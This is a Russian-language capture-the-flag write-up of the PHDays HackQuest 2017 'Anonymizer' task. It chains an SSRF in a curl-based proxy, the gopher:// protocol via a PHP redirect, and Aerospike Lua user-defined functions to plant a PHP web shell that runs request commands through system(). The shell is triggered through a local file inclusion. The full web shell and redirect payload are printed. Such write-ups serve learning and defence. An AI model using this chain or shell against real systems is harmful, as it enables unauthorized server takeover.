Разбор задания Anonymizer (пока еще доступно тут) с PHDays HackQuest 2017.
После нажатия кнопки "GO" к сайту уходит такой запрос:
И в ответе мы видим содержимое запрошенного нами сайта:
Пробуем вместе google.com попросить Анонимайзер показать нам 127.0.0.1 и видим, что в ответе приходит главная страница Анонимайзера. Это означает, что IP-адрес хоста, к которому сервер отправляет запрос, никак не валидируется, и мы, пользуясь этим, можем поискать какой-нибудь интересный сервис, слушающий один из портов на локалхосте. Часто, если сервис слушает только локалхост, на нем не настраивают аутентификацию, что может сыграть нам на руку.
Для начала нам нужно просканировать доступные на 127.0.0.1 порты. Для этого напишем небольшой скрипт, который будет отправлять запросы вида https://anonymizer.rosnadzorcom.ru/?url=127.0.0.1:<port>&page=curl&submit=111
и отслеживать интересное поведение. В результате прогона скрипта оказалось, что при запросах к портам 3001 и 3003 соединение падает по таймауту.
Гугл показал, что порты 3000-3003 использует NOSQL СУБД Aerospike.
Самый интересный для нас порт — 3000, т.к. по нему происходит управление СУБД, но сам протокол управления не текстовый (в отличие, например, от Redis). Здесь нам поможет то, что Анонимайзер запрашивает веб-страницы с помощью curl, который имеет богатейшее применение для SSRF (вот один из лучших мануалов по эксплуатации SSRF с помощью curl).
Мы будем использовать то, что curl поддерживает протокол Gopher, который позволяет слать с помощью curl любые данные по TCP с помощью запроса вида gopher://<host>/<url-encoded-data>
(удобно, правда?). А для того, чтобы избежать возможных проблем с фильтрацией протокола на стороне сервера, воспользуемся трюком с переадресацией: будем делать запросы к нашему веб-серверу, на котором будет лежать такой скрипт:
<?php
header('Location: gopher://127.0.0.1:3000/<url-encoded-data>');
?>
Т.к. протокол взаимодействия с Aerospike бинарный, чтобы не тратить время на его разбор, поднимем эту СУБД у себя на хосте и посмотрим, какой трафик передает утилита управления aql при различных запросах. Например, вот трафик, соответствующий запросу "SHOW NAMESPACES".
Запихаем байты из дампа трафика в заголовок Location
и сравним результат выполнения запроса штатными средствами на тестовой СУБД.
и на тасковой СУБД через SSRF.
По-моему, выглядит довольно похоже.
После небольших плясок вокруг СУБД стало понятно, что флага в самой БД нет. Значит, надо его доставать из файловой системы. Т.к. работать с ФС в стоковой конфигурации Aerospike нельзя, надо придумать способ заливки и активации php-шелла. Здесь нам поможет уязвимость Local File Inclusion, возникшая из-за отсутствия фильтрации содержимого параметра page
.
И так, у нас есть способ активации шелла, осталось только доставить его на хост. Кстати придется возможность создания в Aerospike User Defined Functions, написанных на LUA. Пишем функцию, которая запишет шелл по адресу /var/www/html/sl4v.php.
function hello_world()
file = io.open("/var/www/html/sl4v.php", "w")
file:write("<?php if(isset($_REQUEST['cmd'])){echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die;}?>")
file:close()
return "1"
end
С помощью функций REGISTER MODULE
и EXECUTE <module>.<function>(<args>) ON <ns>[.<set>]
создаем и запускаем UDF на тестовой базе, пишем трафик, посылаем запрос через SSRF и видим, что UDF выполнилась, но с ошибкой.
Похоже, что СУБД не имеет прав на запись в папку /var/www/html/
, но имеет права на запись в папку opt/aerospike/usr/udf/lua/
. Остается только перезалить шелл с правильным путем и немного поискать флаг.
Спасибо за внимание!
akirsanov
интересный вектор